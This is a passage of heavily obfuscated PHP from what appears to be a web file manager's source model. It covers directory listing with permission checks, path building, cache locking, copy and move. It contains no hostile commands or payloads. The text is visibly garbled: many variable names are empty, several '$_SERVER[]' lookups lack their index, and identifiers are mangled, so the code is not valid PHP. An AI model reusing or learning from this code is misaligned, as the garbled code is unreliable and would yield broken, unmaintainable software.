$͐ː = array(); $Ё = array($а[230] => 0, $а[231] => 0); foreach ($Ʒԭ as &$ɍ䒪) { if (!$ɍ䒪[$а[460]]) { continue; } $͐ː[] = $ɍ䒪[$а[184]]; } unset($ɍ䒪); if (!$͐ː) { return; } $ = array($а[183] => array($а[7], $͐ː), $а[480] => 0); $܍ = array($а[183], $а[460], $а[540] => $а[541]); $ʢ = $this->field($܍)->where($)->group($а[542])->select(); $֔ = array(); foreach ($ʢ as $Մ) { $Ö = $Մ[$а[183]]; $ = $Մ[$а[460]] == $а[91] ? $а[231] : $а[230]; if (!isset($֔[$Ö])) { $֔[$Ö] = array($а[230] => 0, $а[231] => 0); } $֔[$Ö][$] += $Մ[$а[541]]; } foreach ($Ʒԭ as &$ɍ䒪) { if (!$ɍ䒪[$а[460]]) { continue; } $ = is_array($֔[$ɍ䒪[$а[184]]]) ? $֔[$ɍ䒪[$а[184]]] : $Ё; $ɍ䒪[$а[231]] = $[$а[231]]; $ɍ䒪[$а[230]] = $[$а[230]]; unset($ɍ䒪[$а[461]]); } unset($ɍ䒪); } protected function _listAppendAuth(&$ǁ) { $׶Ù =& $_SERVER[]; $Єͯ = array(); foreach ($ǁ as $ٛ) { if ($ٛ[$׶Ù[181]] == self::TYPE_GROUP) { $Єͯ[] = $ٛ[$׶Ù[184]]; } } if (!$Єͯ) { return; } $ѩ = array_to_keyvalue($ǁ, $׶Ù[184]); $ɪ = Model($׶Ù[543])->getSourceList($Єͯ, $ѩ); $Ζ = KodUser::isRoot(); foreach ($ǁ as $Ҝ => &$ٛ) { $ٛ[$׶Ù[462]] = $ɪ[$ٛ[$׶Ù[184]]]; if (!$ٛ[$׶Ù[462]] && $ٛ[$׶Ù[181]] == self::TYPE_GROUP) { $ٛ[$׶Ù[462]] = Action($׶Ù[544])->pathGroupAuthMake($ٛ[$׶Ù[545]]); if (!$ٛ[$׶Ù[462]] && !$Ζ) { $ٛ[$׶Ù[224]] = !1; $ٛ[$׶Ù[223]] = !1; } } if ($ٛ[$׶Ù[462]]) { $ٛ[$׶Ù[224]] = AuthModel::authCheckEdit($ٛ[$׶Ù[462]][$׶Ù[463]]); $ٛ[$׶Ù[223]] = AuthModel::authCheckView($ٛ[$׶Ù[462]][$׶Ù[463]]); } $this->groupPathDisplay($ٛ); } unset($ٛ); } public function _listAppendAuthSecret(&$) { $ϖ =& $_SERVER[]; if (Model($ϖ[483])->get($ϖ[546]) != $ϖ[91]) { return; } static $ = false; if (!$) { $ݖ笂 = Model($ϖ[547]); $ݯ€ = Model($ϖ[548]); $ = $ݯ€->listData(); $ = array_to_keyvalue($, $ϖ[184]); $̾ = json_decode(Model($ϖ[483])->get($ϖ[549]), !0); $̾ = array_to_keyvalue($̾, $ϖ[450]); foreach ($ as $Ų => $ž) { $Ԫāސ = $̾[$ž[$ϖ[550]]]; if (!$Ԫāސ) { $ݯ€->remove($ž[$ϖ[450]]); unset($[$Ų]); continue; } $ĺ = $ݖ笂->listData($Ԫāސ[$ϖ[462]]); if (!$ĺ) { $ݯ€->remove($ž[$ϖ[450]]); unset($[$Ų]); continue; } $ž[$ϖ[462]] = $ĺ; $ž[$ϖ[551]] = $Ԫāސ; $ž[$ϖ[552]] = Model($ϖ[553])->getInfoSimpleOuter($ž[$ϖ[502]]); $[$Ų] = $ž; } } $ = USER_ID; $ = array(); $“ = $this->_listAppendPath($, !0); foreach ($ as $Ų => &$ž) { if (!is_array($ž[$ϖ[462]])) { continue; } if ($ž[$ϖ[181]] != $ϖ[554]) { continue; } if (isset($[$ž[$ϖ[184]]])) { $Π = $[$ž[$ϖ[184]]]; if (!is_array($ž[$ϖ[514]])) { $ž[$ϖ[514]] = array(); } $ž[$ϖ[514]][$ϖ[555]] = $Π[$ϖ[550]]; $ž[$ϖ[462]][$ϖ[556]] = $Π; $ž[$ϖ[462]][$ϖ[557]] = $ž[$ϖ[558]]; $ž[$ϖ[462]][$ϖ[559]] = $ϖ[91]; if ($Π[$ϖ[502]] != $) { $ž[$ϖ[462]][$ϖ[463]] = $ž[$ϖ[462]][$ϖ[463]] & $Π[$ϖ[462]][$ϖ[462]]; } continue; } $ = $this->parentLevelArray($ž[$ϖ[560]]); $ތɊ = array_reverse($); foreach ($ތɊ as $ => $) { if (!isset($[$])) { continue; } $Π = $[$]; $ž[$ϖ[462]][$ϖ[556]] = $Π; if ($Π[$ϖ[502]] != $) { $ž[$ϖ[462]][$ϖ[463]] = $ž[$ϖ[462]][$ϖ[463]] & $Π[$ϖ[462]][$ϖ[462]]; } $…ق = $ϖ[12]; $ = count($) - $; for ($ = 0; $ < $; $++) { if (!isset($“[$[$]])) { $…ق = $ϖ[12]; break; } $…ق = $…ق . rtrim($“[$[$]], $ϖ[8]) . $ϖ[8]; } $ž[$ϖ[462]][$ϖ[557]] = rtrim($…ق, $ϖ[8]) . $ϖ[8]; break; } } unset($ž); } public function groupPathDisplay(&$) { $ =& $_SERVER[]; if ($[$[181]] != self::TYPE_GROUP) { return; } $ێШ = Model($[561])->getInfo($[$[545]]); $Ճ = $this->parentLevelArray($ێШ[$[560]]); $ɮ = $[12]; foreach ($Ճ as $) { $ = Model($[561])->getInfo($); $ɮ .= $[$[90]][$[184]] . $[50]; } $[$[562]] = $ێШ[$[183]]; $[$[563]] = $ێШ[$[560]]; $[$[564]] = $ێШ[$[565]]; $[$[566]] = $ɮ . $ێШ[$[90]][$[184]]; } protected function _listAppendPath(&$, $ = false) { $ =& $_SERVER[]; static $ = array(); $ = array(); $· = array(); if ($) { return $; } foreach ($ as &$Ȁ) { $֌ƻ = $Ȁ[$[184]]; if ($Ȁ[$[460]] == $[91] && $Ȁ[$[183]] != 0) { $[$֌ƻ] = $Ȁ[$[32]]; } if ($Ȁ[$[460]] == $[91] && $Ȁ[$[183]] == 0) { $[$֌ƻ] = $this->_listAppendPathRoot($Ȁ, array()); } if (isset($·[$Ȁ[$[560]]])) { continue; } $·[$Ȁ[$[560]]] = !0; $ҚÍ = $this->parentLevelArray($Ȁ[$[560]]); foreach ($ҚÍ as $ӹʺ => $) { if (isset($[$])) { continue; } if ($ӹʺ == 0) { $[$] = $this->_listAppendPathRoot($Ȁ, $ҚÍ); } if ($ӹʺ != 0) { $[] = $; } } } unset($Ȁ); $ = array_unique($); if (count($) > 0) { $ = array($[466] => array($[467], $)); if (count($) == 1) { $ = $this->sourceInfo($[0]); $ٓ = is_array($) ? array($) : !1; } else { $ٓ = $this->field($[567])->where($)->select(); } if (!$ٓ) { $ٓ = array(); } foreach ($ٓ as $) { $[$[$[184]]] = $[$[32]]; } } $ݰ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = array(); foreach ($ as &$Ȁ) { $刱 = $Ȁ[$[560]]; $ = $[12]; if (isset($[$刱])) { $ = $[$刱]; } else { $ҚÍ = $this->parentLevelArray($Ȁ[$[560]]); foreach ($ҚÍ as $ӹʺ => $) { if (isset($[$])) { $ .= $[$] . $[8]; } } $[$刱] = $; } $ .= $Ȁ[$[32]]; if ($Ȁ[$[460]] == $[91]) { $ .= $[8]; } $Ȁ[$[558]] = str_replace($[568], $[8], $); if ($Ȁ[$[183]] == $[219]) { $Ȁ[$[32]] = trim($[$Ȁ[$[184]]], $[8]); $Ȁ[$[558]] = $Ȁ[$[32]] . $[8]; } if (intval($Ȁ[$[181]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($Ȁ, $ҚÍ, $ݰ); } } unset($Ȁ); return $; } private function _listAppendPathRecycle(&$, $, $) { $ =& $_SERVER[]; if (!in_array($, $) && $[$[184]] != $) { return; } $ = explode($[8], trim($[$[558]], $[8])); $̂ = implode($[8], array_slice($, 2)); $[$[558]] = $[8] . LNG($[569]) . $[8] . ltrim($̂, $[8]); $[$[560]] = $[570] . implode($[50], array_slice($, 1)) . $[50]; if ($[$[184]] == $) { $[$[560]] = $[570]; $[$[183]] = $[219]; $[$[32]] = LNG($[569]); } $[$[571]] = $[572]; } protected function _listAppendPathRoot(&$ձ, $ž) { $۬Ȉ =& $_SERVER[]; static $溓 = false; $ = $۬Ȉ[12]; if ($ձ[$۬Ȉ[181]] == self::TYPE_USER) { if ($ձ[$۬Ȉ[545]] == USER_ID) { $ = LNG($۬Ȉ[573]); if ($溓 === !1) { $ۭ = Model($۬Ȉ[574])->getInfoFull(USER_ID); $溓 = _get($ۭ, $۬Ȉ[575], $۬Ȉ[12]); } if ($ž && $ž[0] == $溓 || !$ž && $ձ[$۬Ȉ[184]] == $溓) { $ = LNG($۬Ȉ[576]); $ձ[$۬Ȉ[577]] = $۬Ȉ[578]; } if (!$ž) { $ձ[$۬Ȉ[32]] = $; } } else { $ձ[$۬Ȉ[579]] = Model($۬Ȉ[553])->getInfoSimpleOuter($ձ[$۬Ȉ[545]]); $ = LNG($۬Ȉ[580]) . $۬Ȉ[166] . $ձ[$۬Ȉ[579]][$۬Ȉ[32]] . $۬Ȉ[168]; } } else { if ($ձ[$۬Ȉ[181]] == self::TYPE_GROUP) { $ = Model($۬Ȉ[561])->getInfoSimple($ձ[$۬Ȉ[545]]); $ = $[$۬Ȉ[32]]; } else { if ($ձ[$۬Ȉ[181]] == self::TYPE_SYSTEM) { $ = $۬Ȉ[581]; } } } $ = $ ? $۬Ȉ[8] . $ . $۬Ȉ[8] : $۬Ȉ[8]; return $; } protected function _listAppendUser(&$ȟ) { $̞ =& $_SERVER[]; $Ӧ = array_to_keyvalue($ȟ, $̞[12], $̞[502]); $𲤵 = array_to_keyvalue($ȟ, $̞[12], $̞[504]); $ = array_merge($Ӧ, $𲤵); $ߏˮ = Model($̞[574])->userListInfo($); foreach ($ȟ as &$‡) { $ӌ = $‡[$̞[502]]; $‡[$̞[502]] = $ߏˮ[$ӌ] ? $ߏˮ[$ӌ] : !1; $ӌ = $‡[$̞[504]]; $‡[$̞[504]] = $ߏˮ[$ӌ] ? $ߏˮ[$ӌ] : !1; if (isset($‡[$̞[514]]) && $‡[$̞[514]][$̞[582]]) { $̸è = $GLOBALS[$̞[6]][$̞[92]][$̞[583]]; if ($‡[$̞[514]][$̞[584]] <= time() - $̸è) { $this->metaSet($‡[$̞[184]], $̞[582], null); $this->metaSet($‡[$̞[184]], $̞[584], null); unset($‡[$̞[514]][$̞[582]]); continue; } $ = $‡[$̞[514]][$̞[582]]; $‡[$̞[514]][$̞[585]] = Model($̞[574])->getInfoSimpleOuter($); } } unset($‡); } public function parentLevelArray($) { $ԭ =& $_SERVER[]; $ = explode($ԭ[50], trim($, $ԭ[50])); return array_remove_value($, $ԭ[219]); } public function listAll($ڒ) { $ =& $_SERVER[]; $Ք = $this->sourceInfo($ڒ); $ܯ = array($[586] => array($[587], $Ք[$[560]] . $ڒ . $[588]), $[589] => 0); $Í = $[590]; $ = "\114\x45\106\124\x20\x4a\x4f\111\x4e\x20{$this->tablePrefix}\x69\157\137\x66\151\154\145\x20\x66\151\x6c\x65\x20\x6f\x6e\40\163\x6f\x75\162\x63\145\56\x66\x69\x6c\145\x49\104\x20\x3d\40\x66\151\x6c\x65\x2e\x66\151\154\x65\x49\x44"; $ʂ = $this->alias($[494])->field($Í)->where($ܯ)->join($)->select(); $this->_listAppendAuth($ʂ); $this->_listAppendUser($ʂ); $this->_listAppendPath($ʂ); $ʂ = array_to_keyvalue($ʂ, $[184]); $ʯר = "\57{$Ք[$[32]]}\x2f"; $ʯר = $ʯר == $[568] ? $[8] : $ʯר; $޸󓞐 = array(); foreach ($ʂ as $Лϊ => $ʴ) { $ = $this->parentLevelArray($ʴ[$[560]]); array_shift($); $ = $ʯר; for ($㎡ = 0; $㎡ < count($); $㎡++) { $ .= $ʂ[$[$㎡]][$[32]] . $[8]; } $ .= $ʴ[$[32]]; if ($ʴ[$[460]]) { $ .= $[8]; } $焔 = array($[470] => str_replace($[568], $[8], str_replace($[568], $[8], str_replace($[568], $[8], $))), $[591] => intval($ʴ[$[460]]), $[592] => intval($ʴ[$[79]]), $[88] => intval($ʴ[$[88]]), $[90] => $this->pathInfoFilter($ʴ)); if (!$焔[$[460]]) { $焔[$[516]] = $ʴ[$[516]]; } $޸󓞐[] = $焔; } $޸󓞐 = array_sort_by($޸󓞐, $[87]); return $޸󓞐; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($ܟ) { $Đ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($Đ[593], $ܟ); $ơ = 1; $this->_lockEvent($ܟ, array($Đ[594], $Đ[595]), $ơ); $this->_lockParent($ܟ, array($Đ[595]), $ơ); $this->_lockEvent($ܟ, array($Đ[596], $Đ[597]), $ơ); $this->_lockCheckEnd($Đ[593], $ܟ); } public function lockCopyEnd($ء) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $χ̗ = 0; $this->_lockEvent($ء, array($[594], $[595]), $χ̗); $this->_lockParent($ء, array($[595]), $χ̗); $this->_lockEvent($ء, array($[596], $[597]), $χ̗); } public function lockWriteStart($稿, $ǀ = '') { $Ɍ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($Ɍ[594], $稿); $离 = 1; $this->_lockKey($Ɍ[598] . $稿 . $Ɍ[10] . $ǀ, $离); $this->_lockEvent($稿, array($Ɍ[593], $Ɍ[595]), $离); $this->_lockParent($稿, array($Ɍ[593], $Ɍ[595]), $离); $this->_lockCheckEnd($Ɍ[594], $稿); } public function lockWriteEnd($, $ٚї = '') { $Ʀ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ϗ = 0; $this->_lockKey($Ʀ[598] . $ . $Ʀ[10] . $ٚї, $ϗ); $this->_lockEvent($, array($Ʀ[593], $Ʀ[595]), $ϗ); $this->_lockParent($, array($Ʀ[593], $Ʀ[595]), $ϗ); } public function lockMoveStart($؜) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[595], $؜); $˫ = 1; $this->_lockKey($[599] . $؜, $˫); $this->_lockEvent($؜, array($[593], $[594]), $˫); $this->_lockParent($؜, array($[593], $[595]), $˫); $this->_lockEvent($؜, array($[600], $[596], $[597]), $˫); $this->_lockCheckEnd($[595], $؜); } public function lockMoveEnd($ƛ) { $̅ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($̅[599] . $ƛ, $); $this->_lockEvent($ƛ, array($̅[593], $̅[594]), $); $this->_lockParent($ƛ, array($̅[593], $̅[595]), $); $this->_lockEvent($ƛ, array($̅[600], $̅[596], $̅[597]), $); } private function _lockCheck($, $ܨ) { $γ =& $_SERVER[]; $Ӳ = $this->sourceInfo($ܨ); $ݫȯ = $ . $γ[10] . $ܨ; $this->_lockTimeStart[$ݫȯ] = timeFloat(); if (!is_array($Ӳ)) { return; } $Т = LNG($γ[601]); CacheLock::setErrorMsg($γ[166] . htmlspecialchars($Ӳ[$γ[32]]) . $γ[168] . $Т); $this->_lockKey($ݫȯ, 1); $this->_lockKey($ݫȯ, 0); $ = array_reverse($this->parentLevelArray($Ӳ[$γ[560]])); foreach ($ as $Ǒ) { $ݫȯ = $ . $γ[602] . $Ǒ; if (CacheLock::lockGet($γ[603] . $ݫȯ)) { $Ӳ = $this->sourceInfo($Ǒ); CacheLock::setErrorMsg($γ[166] . htmlspecialchars($Ӳ[$γ[32]]) . $γ[168] . $Т); $this->_lockKey($ݫȯ, 1); $this->_lockKey($ݫȯ, 0); } } } private function _lockCheckEnd($鯿, $) { $Ӵ =& $_SERVER[]; $ = $鯿 . $Ӵ[10] . $; CacheLock::setErrorMsg($Ӵ[429]); if (!isset($this->_lockTimeStart[$])) { return; } $ = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$Ӵ[508] . $]); } $寒߸ = $this->sourceInfo($); if (!$寒߸) { show_json(LNG($Ӵ[108]), !1); } } private function _lockParent($, $ঔ, $) { if (!$this->autoLockSet) { return; } $ = $this->sourceInfo($); if (!is_array($)) { return; } $ޥ = array_reverse($this->parentLevelArray($[$_SERVER[][560]])); foreach ($ޥ as $) { $this->_lockEvent($, $ঔ, $); } } private function _lockEvent($Ϲ, $؛釢, $) { $ہ =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($؛釢 as $պ) { $ = $պ . $ہ[10] . $Ϲ; if ($ && CacheLock::lockGet($ہ[603] . $)) { continue; } $this->_lockKey($, $); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ = 1) { $ = $_SERVER[][603] . md5($); if ($) { if (isset(self::$_lockItemArr[$])) { return; } self::$_lockItemArr[$] = 1; CacheLock::lock($, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$])) { return; } unset(self::$_lockItemArr[$]); CacheLock::unlock($); } } public function isParentOf($ح, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($ح); $ބ = $this->sourceInfo($); $ƈɛ = $[$[560]] . $[$[184]] . $[50]; $͏ = $ބ[$[560]] . $ބ[$[184]] . $[50]; $ۂ = strpos($͏, $ƈɛ) === 0; return $ۂ; } private $targetIsDelete = 0; public function copy($, $řɇ, $΄ = REPEAT_REPLACE, $ = '') { $ɭ =& $_SERVER[]; $ٳח = $this->sourceInfo($); $ = $this->sourceInfo($řɇ); if (!$ٳח || !$ || $[$ɭ[460]] != $ɭ[91]) { return !1; } if ($this->isParentOf($, $řɇ)) { return !1; } $װ = $ ? $ : $ٳח[$ɭ[32]]; $this->lockCopyStart($); $this->lockWriteStart($řɇ, $װ); $Ἀ = array($ɭ[604] => array(), $ɭ[605] => array(), $ɭ[606] => array()); $this->targetIsDelete = intval($ٳח[$ɭ[480]]); $ғ = $this->fileNameExistAuto($řɇ, $ٳח); $ = $this->_copy($, $řɇ, $΄, $Ἀ, !0, $); $this->_childrenListClear(); $this->lockCopyEnd($); $this->lockWriteEnd($řɇ, $װ); if ($ٳח[$ɭ[460]] == $ɭ[91] && $ғ == $) { $this->folderSizeResetChildren($ғ); } Model($ɭ[607])->addAll($Ἀ[$ɭ[605]], array(), !0); if ($ғ != $ || $ٳח[$ɭ[460]] == $ɭ[91]) { Model($ɭ[608])->eventCopy($); } $this->saveAll($Ἀ[$ɭ[606]]); Model($ɭ[221])->linkAdd($Ἀ[$ɭ[604]]); $this->folderSizeReset($řɇ); $this->updateModifyTime($řɇ); return $; } private function _copy($, $, $Ӕ, &$Ѽ, $獈, $ْ = '') { $ =& $_SERVER[]; $䄢 = $this->sourceInfoCache($); $ = $䄢[$[460]] == $[91]; $ = $ْ ? $ْ : $䄢[$[32]]; $ = $this->fileNameExistAuto($, $䄢); if ($獈) { $this->_childrenAllMake($); if ($ && $) { $this->_childrenAllMake($); } } if (!$) { return $this->_copyCreate($, $, $, $Ѽ); } $沒 = $; if ($) { if ($Ӕ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $Ӕ, $); $沒 = $this->_copyCreate($, $, $, $Ѽ); } else { $ = $this->_childrenList($); foreach ($ as $֭Ӧ) { $this->_copy($֭Ӧ[$[184]], $, $Ӕ, $Ѽ, !1); } } } else { if ($Ӕ == REPEAT_RENAME || $Ӕ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $Ӕ, $); $沒 = $this->_copyCreate($, $, $, $Ѽ); } else { if ($Ӕ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $䄢[$[516]], $䄢[$[79]]); if ($) { $Ѽ[$[604]][] = $䄢[$[516]]; } } else { if ($Ӕ == REPEAT_SKIP) { } } } Hook::trigger($[609], array($[610], $䄢, 0)); } return $沒; } private function _copyCreate($, $Ӟ, $չ, &$ҋ) { $ߔ =& $_SERVER[]; $ = $this->sourceInfoCache($); $㤮 = $this->sourceInfoCache($Ӟ); $ƃ = $this->_makeItemData($, $㤮, $չ); Hook::trigger($ߔ[611], $ƃ); Hook::trigger($ߔ[612], array($ߔ[613], $ƃ, 0)); $ް = $this->add($ƃ); $ӱ = array($ߔ[184] => $ް, $ߔ[32] => $չ); $this->_copyApplyMeta($ӱ, $ҋ); if ($[$ߔ[460]] != $ߔ[91]) { $ҋ[$ߔ[604]][] = $[$ߔ[516]]; return $ް; } $Ǚ = array(); $۾ = array(); $this->_childrenListAll($, $Ǚ); $ے = count($Ǚ); if ($ے == 0) { return $ް; } $ѯ = $this->sourceInfo($ް); foreach ($Ǚ as $حو) { $’ϭ = $this->_makeItemData($حو, $ѯ, $حو[$ߔ[32]]); $’ϭ[$ߔ[560]] = $حو[$ߔ[560]]; $۾[] = $’ϭ; } $this->chunkEventSet($ߔ[614], array($ߔ[615], $ƃ, $ے)); $this->addAll($۾, array(), !1); $ѻ = $this->where(array($ߔ[183] => $ް))->select(); $ = $this->_childrenMakeRelation($Ǚ, $ѻ); $[$] = $ް; $Ǝ = array(); $Ց = array(); foreach ($ѻ as $حو) { $ҽȷ = $حو[$ߔ[184]]; $ = $this->_childrenMatch($, $حو, $ѯ); $Ǝ[] = array($ߔ[184], $ҽȷ, $ߔ[183], $[$ߔ[183]]); $Ց[] = array($ߔ[184], $ҽȷ, $ߔ[560], $[$ߔ[560]]); $this->_copyApplyMeta($حو, $ҋ); if ($حو[$ߔ[460]] != $ߔ[91]) { $ҋ[$ߔ[604]][] = $حو[$ߔ[516]]; } } $this->chunkEventSet($ߔ[616], array($ߔ[617], $ƃ, $ے)); $this->saveAll($Ǝ); $this->chunkEventSet($ߔ[618], array($ߔ[619], $ƃ, $ے)); $this->saveAll($Ց); return $ް; } private function _childrenMakeRelation($ğ, $Ɏ) { $ =& $_SERVER[]; $ރ = array(); $ؖ = array(); foreach ($ğ as $݉) { $Ѥހ = $݉[$[32]] . $[8] . $݉[$[560]]; $ރ[$Ѥހ] = $݉[$[184]]; } foreach ($Ɏ as $݉) { $Ѥހ = $݉[$[32]] . $[8] . $݉[$[560]]; $۞ = $ރ[$Ѥހ]; $ؖ[$۞] = $݉[$[184]]; } return $ؖ; } private function _childrenMatch($Ƣ, $, $쓞) { $۪ =& $_SERVER[]; $渻 = $쓞[$۪[560]]; $˻ = $this->parentLevelArray($[$۪[560]]); foreach ($˻ as $) { if (isset($Ƣ[$])) { $渻 .= $Ƣ[$] . $۪[620]; } } $渻 = rtrim($渻, $۪[50]) . $۪[50]; $ = $this->parentLevelArray($渻); $ = $[count($) - 1]; return array($۪[183] => $, $۪[560] => $渻); } private function _makeItemData($غ, $̾, $ŝ) { $ھ =& $_SERVER[]; $ = array($ھ[621] => $غ[$ھ[460]], $ھ[469] => $ŝ, $ھ[622] => $غ[$ھ[461]] ? $غ[$ھ[461]] : $ھ[12], $ھ[517] => $غ[$ھ[516]] ? $غ[$ھ[516]] : 0, $ھ[592] => $غ[$ھ[79]] ? $غ[$ھ[79]] : 0, $ھ[623] => intval($̾[$ھ[181]]), $ھ[624] => intval($̾[$ھ[545]]), $ھ[625] => intval(USER_ID), $ھ[626] => intval(USER_ID), $ھ[452] => intval($̾[$ھ[184]]), $ھ[627] => $̾[$ھ[560]] . $̾[$ھ[184]] . $ھ[50], $ھ[473] => $غ[$ھ[88]] ? $غ[$ھ[88]] : time(), $ھ[479] => 0, $ھ[628] => $ھ[12]); return $; } private function _copyApplyMeta($ę, &$) { $ڇ =& $_SERVER[]; $ = $ę[$ڇ[184]]; $ڿ = $ę[$ڇ[32]]; if (!isset($ę[$ڇ[629]]) || !$ę[$ڇ[629]] || $ę[$ڇ[629]] == $ڇ[219]) { $[$ڇ[606]][] = array($ڇ[184], $, $ڇ[629], short_id($)); } if (Input::check($ڿ, $ڇ[630])) { $[$ڇ[605]][] = array($ڇ[184] => $, $ڇ[97] => $ڇ[513], $ڇ[425] => str_replace($ڇ[53], $ڇ[12], Pinyin::get($ڿ))); $[$ڇ[605]][] = array($ڇ[184] => $, $ڇ[97] => $ڇ[512], $ڇ[425] => Pinyin::get($ڿ, $ڇ[631])); } $[$ڇ[605]][] = array($ڇ[184] => $, $ڇ[97] => $ڇ[492], $ڇ[425] => KodSort::makeStr($ڿ)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $؂ =& $_SERVER[]; $˭ = $this->sourceInfo($); $ = $؂[632]; $оĄ = array($؂[560] => array($؂[587], $˭[$؂[560]] . $ . $؂[588]), $؂[480] => $this->targetIsDelete); $֖ = $this->field($)->where($оĄ)->select(); if (!$֖) { return; } $֖ = array_to_keyvalue($֖, $؂[184]); foreach ($֖ as $լڞ) { $ = $լڞ[$؂[183]]; $ = $լڞ[$؂[184]]; if (!isset($this->_childrenListCache[$]) && $լڞ[$؂[460]] == $؂[91]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$])) { $this->_childrenListCache[$] = array(); } $this->_childrenListCache[$][$] = $լڞ; $this->_childrenItemCache[$] = $լڞ; } } private function _childrenListAll($쁭, &$ш) { $™ۼ =& $_SERVER[]; if (!isset($this->_childrenListCache[$쁭])) { return; } $Ƞ = $this->_childrenListCache[$쁭]; foreach ($Ƞ as $ => $䇷) { $ш[$] = $䇷; if ($䇷[$™ۼ[460]] == $™ۼ[91]) { $this->_childrenListAll($, $ш); } } } private function sourceInfoCache($) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } private function _childrenList($ؙع) { if (isset($this->_childrenListCache[$ؙع])) { return $this->_childrenListCache[$ؙع]; } return $this->_childrenListSelect($ؙع); } private function _childrenListSelect($) { $ =& $_SERVER[]; $˪ = array($[183] => $, $[480] => $this->targetIsDelete); $ڕ = $this->where($˪)->select(); $ڕ = $ڕ ? $ڕ : array(); $Ȓ = array_to_keyvalue($ڕ, $[184]); $this->_childrenListCache[$] = $Ȓ; foreach ($Ȓ as $ => $Ы) { $this->_childrenItemCache[$] = $Ы; } return $Ȓ; } private function fileNameExistAuto($α, $) { $ȑÍ =& $_SERVER[]; if ($[$ȑÍ[480]] == $ȑÍ[91]) { return $this->fileNameExist($α, $[$ȑÍ[32]]); } return $this->fileNameExistCache($α, $[$ȑÍ[32]]); } private function fileNameExistCache($൅, $ĀƇ) { $ =& $_SERVER[]; $ĀƇ = strtolower($ĀƇ); $Е = $this->_childrenList($൅); foreach ($Е as $) { if ($ĀƇ == strtolower($[$[32]])) { return $[$[184]]; } } return !1; } private function fileNameAutoCache($᧲, $Ьʺ, $ġƎ, $) { $ȫ =& $_SERVER[]; $ = $this->_childrenList($᧲); $ = array_to_keyvalue($, $ȫ[12], $ȫ[32]); return $this->fileNameAutoGet($, $Ьʺ, $ġƎ, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $ÿ, $߿꽖 = REPEAT_REPLACE, $ӾŎ = '') { $Ч =& $_SERVER[]; $剚 = $this->sourceInfo($); $Ġ = $this->sourceInfo($ÿ); if ($剚[$Ч[183]] == $Ġ[$Ч[184]]) { if ($剚[$Ч[480]] == $Ч[91]) { Model($Ч[478])->restore(array($)); } if (!$ӾŎ || $ӾŎ == $剚[$Ч[32]]) { return $; } } $ = $this->pathInfoMore($); if ($this->isParentOf($, $ÿ)) { return !1; } if (!$剚 || !$Ġ || $Ġ[$Ч[460]] != $Ч[91]) { return !1; } Hook::trigger($Ч[633], $); $this->targetIsDelete = intval($剚[$Ч[480]]); if ($剚[$Ч[183]] == $ÿ && $ӾŎ != $剚[$Ч[32]]) { $Ԅ = $this->fileNameExist($ÿ, $ӾŎ); if ($Ԅ && $剚[$Ч[460]] == $Ч[219]) { $Ӹ = $this->sourceInfo($Ԅ); $ڿ = $this->fileHistory($Ӹ, $剚[$Ч[516]], $剚[$Ч[79]]); if (!$ڿ) { Model($Ч[519])->remove($剚[$Ч[516]]); } $this->removeNow($, !1); $this->folderSizeReset($ÿ); Hook::trigger($Ч[634], $); return $Ԅ; } } $㜜 = $ӾŎ ? $ӾŎ : $剚[$Ч[32]]; $this->lockMoveStart($); $this->lockWriteStart($ÿ, $㜜); $ = array($Ч[604] => array(), $Ч[635] => !1); $this->clearShare($, $ÿ); $Ԧ = $this->fileNameExistAuto($ÿ, $剚); $ƾ = $this->_move($, $ÿ, $߿꽖, $, $ӾŎ); $this->sourceCacheClear(); if ($剚[$Ч[460]] == $Ч[91] && $Ԧ) { $this->folderSizeResetChildren($ƾ); } Model($Ч[221])->linkAdd($[$Ч[604]]); if ($Ԧ && $[$Ч[635]]) { $this->removeNow($, !1); } $this->lockMoveEnd($); $this->lockWriteEnd($ÿ, $㜜); $this->folderSizeReset($剚[$Ч[183]]); $this->folderSizeReset($ÿ); $ = array($剚[$Ч[183]], $ÿ); if ($剚[$Ч[460]] == $Ч[91]) { $[] = $; } $this->updateModifyTime($); Model($Ч[608])->eventMove($, $剚[$Ч[183]], $ÿ); Hook::trigger($Ч[634], $); return $ƾ; } private function _move($ڽ, $ܙ, $Ɋ, &$, $њ = '') { $Ԩ =& $_SERVER[]; $ = $this->sourceInfo($ڽ); $ = $[$Ԩ[460]] == $Ԩ[91]; $̜ = $њ ? $њ : $[$Ԩ[32]]; $и = $this->fileNameExistAuto($ܙ, $); $this->lockMoveStart($ڽ); $this->lockWriteStart($ܙ, $̜); if (!$и) { return $this->_moveForce($ڽ, $ܙ, $̜); } $ = $и; $̮ = !1; if ($) { if ($Ɋ == REPEAT_RENAME_FOLDER) { $̜ = $this->fileNameAuto($ܙ, $̜, $Ɋ, $); $ = $this->_moveForce($ڽ, $ܙ, $̜); } else { if ($Ɋ == REPEAT_RENAME_FOLDER) { $Ɋ = REPEAT_RENAME; } $ = $this->_childrenListSelect($ڽ); foreach ($ as $) { $this->_move($[$Ԩ[184]], $и, $Ɋ, $); } $̮ 